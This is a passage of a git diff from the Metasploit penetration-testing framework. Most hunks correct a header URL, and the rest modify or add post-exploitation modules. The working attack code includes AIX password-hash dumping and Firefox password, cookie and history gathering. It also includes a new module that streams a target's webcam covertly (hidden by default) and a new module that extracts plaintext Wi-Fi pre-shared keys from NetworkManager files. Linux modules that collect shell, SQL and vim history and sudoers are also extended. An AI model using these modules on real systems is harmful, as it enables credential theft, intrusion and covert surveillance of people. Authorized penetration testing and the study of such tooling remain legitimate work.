-1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/bsd/x86/shell.rb b/modules/payloads/stages/bsd/x86/shell.rb index 7084786274..5c7f5d9337 100644 --- a/modules/payloads/stages/bsd/x86/shell.rb +++ b/modules/payloads/stages/bsd/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/bsdi/x86/shell.rb b/modules/payloads/stages/bsdi/x86/shell.rb index 402c69a854..1d18809993 100644 --- a/modules/payloads/stages/bsdi/x86/shell.rb +++ b/modules/payloads/stages/bsdi/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/java/meterpreter.rb b/modules/payloads/stages/java/meterpreter.rb index e40dd4ab06..420f9699f2 100644 --- a/modules/payloads/stages/java/meterpreter.rb +++ b/modules/payloads/stages/java/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/java/shell.rb b/modules/payloads/stages/java/shell.rb index 0a9b078fb6..16b71199e7 100644 --- a/modules/payloads/stages/java/shell.rb +++ b/modules/payloads/stages/java/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/armle/shell.rb b/modules/payloads/stages/linux/armle/shell.rb index 041f385419..d53f725bb0 100644 --- a/modules/payloads/stages/linux/armle/shell.rb +++ b/modules/payloads/stages/linux/armle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/mipsbe/shell.rb b/modules/payloads/stages/linux/mipsbe/shell.rb index 59e40539ac..d6063cdc24 100644 --- a/modules/payloads/stages/linux/mipsbe/shell.rb +++ b/modules/payloads/stages/linux/mipsbe/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/mipsle/shell.rb b/modules/payloads/stages/linux/mipsle/shell.rb index 97915d3480..c74c633f36 100644 --- a/modules/payloads/stages/linux/mipsle/shell.rb +++ b/modules/payloads/stages/linux/mipsle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index ee89e1828f..caf23a4953 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 9b221cc200..2ee655a5de 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 260b5a97b0..691d5e1fbc 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/netware/shell.rb b/modules/payloads/stages/netware/shell.rb index 2026c55c6b..7f7dab8e47 100644 --- a/modules/payloads/stages/netware/shell.rb +++ b/modules/payloads/stages/netware/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/armle/execute.rb b/modules/payloads/stages/osx/armle/execute.rb index 09dfb25037..6da688c80e 100644 --- a/modules/payloads/stages/osx/armle/execute.rb +++ b/modules/payloads/stages/osx/armle/execute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/armle/shell.rb b/modules/payloads/stages/osx/armle/shell.rb index 535f00c9b9..f356a820a8 100644 --- a/modules/payloads/stages/osx/armle/shell.rb +++ b/modules/payloads/stages/osx/armle/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/ppc/shell.rb b/modules/payloads/stages/osx/ppc/shell.rb index 1d400ca3a3..2d0b8d7457 100644 --- a/modules/payloads/stages/osx/ppc/shell.rb +++ b/modules/payloads/stages/osx/ppc/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb index 171ca8ebec..cda4f9f07a 100644 --- a/modules/payloads/stages/osx/x64/dupandexecve.rb +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/bundleinject.rb b/modules/payloads/stages/osx/x86/bundleinject.rb index ae76489c62..3204ba2a67 100644 --- a/modules/payloads/stages/osx/x86/bundleinject.rb +++ b/modules/payloads/stages/osx/x86/bundleinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/isight.rb b/modules/payloads/stages/osx/x86/isight.rb index 5c24b780c9..4b4a7d57a4 100644 --- a/modules/payloads/stages/osx/x86/isight.rb +++ b/modules/payloads/stages/osx/x86/isight.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/osx/x86/vforkshell.rb b/modules/payloads/stages/osx/x86/vforkshell.rb index 15aa3f784c..bd6acff024 100644 --- a/modules/payloads/stages/osx/x86/vforkshell.rb +++ b/modules/payloads/stages/osx/x86/vforkshell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 0c55b56a81..1f66f8a851 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index 0f0118ae68..536c719bf9 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/dllinject.rb b/modules/payloads/stages/windows/dllinject.rb index 819f551822..a14584d726 100644 --- a/modules/payloads/stages/windows/dllinject.rb +++ b/modules/payloads/stages/windows/dllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 9924e2b125..0723c0e5d7 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,7 +39,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/patchupdllinject.rb b/modules/payloads/stages/windows/patchupdllinject.rb index 7dd8ea25f8..a96ae18956 100644 --- a/modules/payloads/stages/windows/patchupdllinject.rb +++ b/modules/payloads/stages/windows/patchupdllinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/patchupmeterpreter.rb b/modules/payloads/stages/windows/patchupmeterpreter.rb index ffe0e37c5d..4fb6d06b91 100644 --- a/modules/payloads/stages/windows/patchupmeterpreter.rb +++ b/modules/payloads/stages/windows/patchupmeterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -41,7 +41,7 @@ module Metasploit3 end def library_path - File.join(Msf::Config.data_directory, "meterpreter", "metsrv.x86.dll") + MeterpreterBinaries.path('metsrv','x86.dll') end end diff --git a/modules/payloads/stages/windows/shell.rb b/modules/payloads/stages/windows/shell.rb index 3ba58badf5..70411fa234 100644 --- a/modules/payloads/stages/windows/shell.rb +++ b/modules/payloads/stages/windows/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/upexec.rb b/modules/payloads/stages/windows/upexec.rb index bdacc5f491..eae0067d3a 100644 --- a/modules/payloads/stages/windows/upexec.rb +++ b/modules/payloads/stages/windows/upexec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/vncinject.rb b/modules/payloads/stages/windows/vncinject.rb index deca1e26d7..efb9919940 100644 --- a/modules/payloads/stages/windows/vncinject.rb +++ b/modules/payloads/stages/windows/vncinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index fa5aa63801..935d2779c6 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -34,7 +34,7 @@ module Metasploit3 end def library_path - File.join( Msf::Config.data_directory, "meterpreter", "metsrv.x64.dll" ) + MeterpreterBinaries.path('metsrv','x64.dll') end end diff --git a/modules/payloads/stages/windows/x64/shell.rb b/modules/payloads/stages/windows/x64/shell.rb index 5196291c87..7e325830ae 100644 --- a/modules/payloads/stages/windows/x64/shell.rb +++ b/modules/payloads/stages/windows/x64/shell.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/payloads/stages/windows/x64/vncinject.rb b/modules/payloads/stages/windows/x64/vncinject.rb index 91688e0794..8490da03e2 100644 --- a/modules/payloads/stages/windows/x64/vncinject.rb +++ b/modules/payloads/stages/windows/x64/vncinject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb index d2b0659116..dd9de9fc96 100644 --- a/modules/post/aix/hashdump.rb +++ b/modules/post/aix/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,32 +27,43 @@ class Metasploit3 < Msf::Post def run if is_root? passwd_file = read_file("/etc/security/passwd") - jtr = parse_aix_passwd(passwd_file) - p = store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File") - vprint_status("Passwd saved in: #{p.to_s}") + + username = '' + hash = '' + + passwd_file.each_line do |line| + user_line = line.match(/(\w+):/) + if user_line + username = user_line[1] + end + + hash_line = line.match(/password = (\w+)/) + if hash_line + hash = hash_line[1] + end + + if hash.present? + print_good "#{username}:#{hash}" + credential_data = { + jtr_format: 'des', + origin_type: :session, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: hash, + session_id: session_db_id, + username: username, + workspace_id: myworkspace_id + } + create_credential(credential_data) + username = '' + hash = '' + end + end + else print_error("You must run this module as root!") end end - - def parse_aix_passwd(aix_file) - jtr_file = "" - tmp = "" - aix_file.each_line do |line| - username = line.match(/(\w+:)/) - if username - tmp = username[0] - end - hash = line.match(/password = (\w+)/) - if hash - tmp << hash[1] - jtr_file << "#{tmp}\n" - end - end - return jtr_file - end - - end diff --git a/modules/post/cisco/gather/enum_cisco.rb b/modules/post/cisco/gather/enum_cisco.rb index 94d3938fc9..515c7b8595 100644 --- a/modules/post/cisco/gather/enum_cisco.rb +++ b/modules/post/cisco/gather/enum_cisco.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/firefox/gather/cookies.rb b/modules/post/firefox/gather/cookies.rb index 18cefbef6f..4fc5f6cc6e 100644 --- a/modules/post/firefox/gather/cookies.rb +++ b/modules/post/firefox/gather/cookies.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Post } catch (e) { send(e); } - })(send); + })(this.send); |.strip end end diff --git a/modules/post/firefox/gather/history.rb b/modules/post/firefox/gather/history.rb index 1db4ed7993..932105e952 100644 --- a/modules/post/firefox/gather/history.rb +++ b/modules/post/firefox/gather/history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Post } catch (e) { send(e); } - })(send); + })(this.send); |.strip end end diff --git a/modules/post/firefox/gather/passwords.rb b/modules/post/firefox/gather/passwords.rb index 24130d0f4e..0009613d36 100644 --- a/modules/post/firefox/gather/passwords.rb +++ b/modules/post/firefox/gather/passwords.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -37,8 +37,12 @@ class Metasploit3 < Msf::Post entry.keys.each { |k| entry[k] = Rex::Text.decode_base64(entry[k]) } end - file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) - print_good("Saved #{passwords.length} passwords to #{file}") + if passwords.length > 0 + file = store_loot("firefox.passwords.json", "text/json", rhost, passwords.to_json) + print_good("Saved #{passwords.length} passwords to #{file}") + else + print_warning("No passwords were found in Firefox.") + end rescue JSON::ParserError => e print_warning(results) end @@ -75,7 +79,7 @@ class Metasploit3 < Msf::Post } catch (e) { send(e); } - })(send); + })(this.send); |.strip end end diff --git a/modules/post/firefox/gather/xss.rb b/modules/post/firefox/gather/xss.rb index 63049a2a7b..dbe1b8a48c 100644 --- a/modules/post/firefox/gather/xss.rb +++ b/modules/post/firefox/gather/xss.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Post }; setTimeout(evt, 200); - })(send); + })(this.send); |.strip end diff --git a/modules/post/firefox/manage/webcam_chat.rb b/modules/post/firefox/manage/webcam_chat.rb new file mode 100644 index 0000000000..5e568c8584 --- /dev/null +++ b/modules/post/firefox/manage/webcam_chat.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'json' +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Exploit::Remote::FirefoxPrivilegeEscalation + include Msf::Post::WebRTC + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Firefox Webcam Chat on Privileged Javascript Shell', + 'Description' => %q{ + This module allows streaming a webcam from a privileged Firefox Javascript shell. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'joev' ], + 'References' => [ + [ 'URL', 'http://www.rapid7.com/db/modules/exploit/firefox/local/exec_shellcode' ] + ], + 'DisclosureDate' => 'May 13 2014' + )) + + register_options([ + OptBool.new('CLOSE', [false, "Forcibly close previous chat session", false]), + OptBool.new('VISIBLE', [false, "Show a window containing the chat to the target", false]), + OptInt.new('TIMEOUT', [false, "End the chat session after this many seconds", -1]), + OptString.new('ICESERVER', [true, "The ICE server that sets up the P2P connection", 'wsnodejs.jit.su:80']) + ], self.class) + end + + def run + unless os_check + print_error "Windows versions of Firefox are not supported at this time [RM #8810]." + return + end + + server = datastore['ICESERVER'] + offerer_id = Rex::Text.rand_text_alphanumeric(10) + channel = Rex::Text.rand_text_alphanumeric(20) + + result = js_exec(js_payload(server, offerer_id, channel)) + + if datastore['CLOSE'] + print_status "Stream closed." + else + if result.present? + print_status result + connect_video_chat(server, channel, offerer_id) + else + print_warning "No response received" + end + end + end + + def os_check + user_agent = js_exec(%Q| + return Components.classes["@mozilla.org/network/protocol;1?name=http"] + .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent; + |) + user_agent !~ /windows/i + end + + def js_payload(server, offerer_id, channel) + interface = load_interface('offerer.html') + api = load_api_code + + interface.gsub!(/\=SERVER\=/, server) + interface.gsub!(/\=CHANNEL\=/, channel) + interface.gsub!(/\=OFFERERID\=/, offerer_id) + + if datastore['TIMEOUT'] > 0 + api << "; setTimeout(function(){window.location='about:blank'}, #{datastore['TIMEOUT']*1000}); " + end + + url = if datastore['CLOSE'] + '"about:blank"' + else + '"data:text/html;base64,"+html' + end + + name = if datastore['VISIBLE'] + Rex::Text.rand_text_alphanumeric(10) + else + '_self' + end + + %Q| + (function(send){ + try { + + var AppShellService = Components + .classes["@mozilla.org/appshell/appShellService;1"] + .getService(Components.interfaces.nsIAppShellService); + + var html = "#{Rex::Text.encode_base64(interface)}"; + var url = #{url}; + AppShellService.hiddenDOMWindow.openDialog(url, '#{name}', 'chrome=1,width=1100,height=600'); + send("Streaming webcam..."); + + } catch (e) { + send(e); + } + })(this.send); + | + end + +end diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb index e35ccbb7f5..c3085a1104 100644 --- a/modules/post/linux/gather/checkvm.rb +++ b/modules/post/linux/gather/checkvm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb index b62d23b4e6..21bbd3f3eb 100644 --- a/modules/post/linux/gather/ecryptfs_creds.rb +++ b/modules/post/linux/gather/ecryptfs_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb index 0b03aef6aa..9d1c29a66b 100644 --- a/modules/post/linux/gather/enum_configs.rb +++ b/modules/post/linux/gather/enum_configs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ', ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Post configs.each do |f| output = read_file("#{f}") - save(f, output) if output !~ /No such file or directory/ + save(f, output) if output && output !~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb index 52d0ddfd74..32b8f923d0 100644 --- a/modules/post/linux/gather/enum_network.rb +++ b/modules/post/linux/gather/enum_network.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # minor additions, modifications & testing 'Stephen Haywood ', # enum_linux ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb index f73d96d916..cc96a9acc6 100644 --- a/modules/post/linux/gather/enum_protections.rb +++ b/modules/post/linux/gather/enum_protections.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,8 +28,8 @@ class Metasploit3 < Msf::Post [ 'ohdae ' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb new file mode 100644 index 0000000000..9edc2a7ada --- /dev/null +++ b/modules/post/linux/gather/enum_psk.rb @@ -0,0 +1,112 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + + include Msf::Auxiliary::Report + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Linux Gather 802-11-Wireless-Security Credentials', + 'Description' => %q{ + This module collects 802-11-Wireless-Security credentials such as + Access-Point name and Pre-Shared-Key from your target CLIENT Linux + machine using /etc/NetworkManager/system-connections/ files. + The module gathers NetworkManager's plaintext "psk" information. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Cenk Kalpakoglu'], + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] + )) + + register_options( + [ + OptString.new('DIR', [true, 'The default path for network connections', + '/etc/NetworkManager/system-connections/'] + ) + ], self.class) + end + + def dir + datastore['DIR'] + end + + # Extracts AccessPoint name and PSK + def get_psk(data, ap_name) + data.each_line do |l| + if l =~ /^psk=/ + psk = l.split('=')[1].strip + return [ap_name, psk] + end + end + nil + end + + def extract_all_creds + tbl = Rex::Ui::Text::Table.new({ + 'Header' => '802-11-wireless-security', + 'Columns' => ['AccessPoint-Name', 'PSK'], + 'Indent' => 1, + }) + files = cmd_exec("/bin/ls -1 #{dir}").chomp.split("\n") + files.each do |f| + file = "#{dir}#{f}" + # TODO: find better (ruby) way + if data = read_file(file) + print_status("Reading file #{file}") + ret = get_psk(data, f) + if ret + tbl << ret + end + end + end + tbl + end + + def run + if is_root? + tbl = extract_all_creds + if tbl.rows.empty? + print_status('No PSK has been found!') + else + print_line("\n" + tbl.to_s) + p = store_loot( + 'linux.psk.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename('wireless_credentials.txt') + ) + + print_good("Secrets stored in: #{p}") + + tbl.rows.each do |cred| + user = cred[0] # AP name + password = cred[1] + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + address: session.session_host, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password, + ) + end + print_status("Done") + end + else + print_error('You must run this module as root!') + end + end +end diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index 9c2b676892..1afbd82e6f 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -29,8 +29,8 @@ class Metasploit3 < Msf::Post 'ohdae ', # Combined separate mods, modifications and testing 'Roberto Espreto ', # log files and setuid/setgid ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb index c49f88f58d..852f160865 100644 --- a/modules/post/linux/gather/enum_users_history.rb +++ b/modules/post/linux/gather/enum_users_history.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Post # based largely on get_bash_history function by Stephen Haywood 'ohdae ' ], - 'Platform' => [ 'linux' ], - 'SessionTypes' => [ 'shell' ] + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'] )) end @@ -49,8 +49,8 @@ class Metasploit3 < Msf::Post last = execute("/usr/bin/last && /usr/bin/lastlog") sudoers = cat_file("/etc/sudoers") - save("Last logs", last) - save("Sudoers", sudoers) unless sudoers =~ /Permission denied/ + save("Last logs", last) unless last.nil? + save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/ end def save(msg, data, ctype="text/plain") @@ -96,13 +96,13 @@ class Metasploit3 < Msf::Post hist = cat_file("/home/#{u}/.bash_history") end - save("History for #{u}", hist) unless hist =~ /No such file or directory/ + save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") hist = cat_file("/home/#{user}/.bash_history") vprint_status(hist) - save("History for #{user}", hist) unless hist =~ /No such file or directory/ + save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/ end end @@ -118,19 +118,19 @@ class Metasploit3 < Msf::Post sql_hist = cat_file("/home/#{u}/.mysql_history") end - save("History for #{u}", sql_hist) unless sql_hist =~ /No such file or directory/ + save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end else vprint_status("Extracting SQL history for #{user}") sql_hist = cat_file("/home/#{user}/.mysql_history") - vprint_status(sql_hist) - save("SQL History for #{user}", sql_hist) unless sql_hist =~ /No such file or directory/ + vprint_status(sql_hist) if sql_hist + save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/ end end def get_vim_history(users, user) if user == "root" and users != nil - users = users.chomp.split() + users = users.chomp.split users.each do |u| if u == "root" vprint_status("Extracting VIM history for #{u}") @@ -140,13 +140,13 @@ class Metasploit3 < Msf::Post vim_hist = cat_file("/home/#{u}/.viminfo") end - save("VIM History for #{u}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end else vprint_status("Extracting history for #{user}") vim_hist = cat_file("/home/#{user}/.viminfo") vprint_status(vim_hist) - save("VIM History for #{user}", vim_hist) unless vim_hist =~ /No such file or directory/ + save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/ end end end diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb index de2b02fd34..c6a722884d 100644 --- a/modules/post/linux/gather/enum_xchat.rb +++ b/modules/post/linux/gather/enum_xchat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ 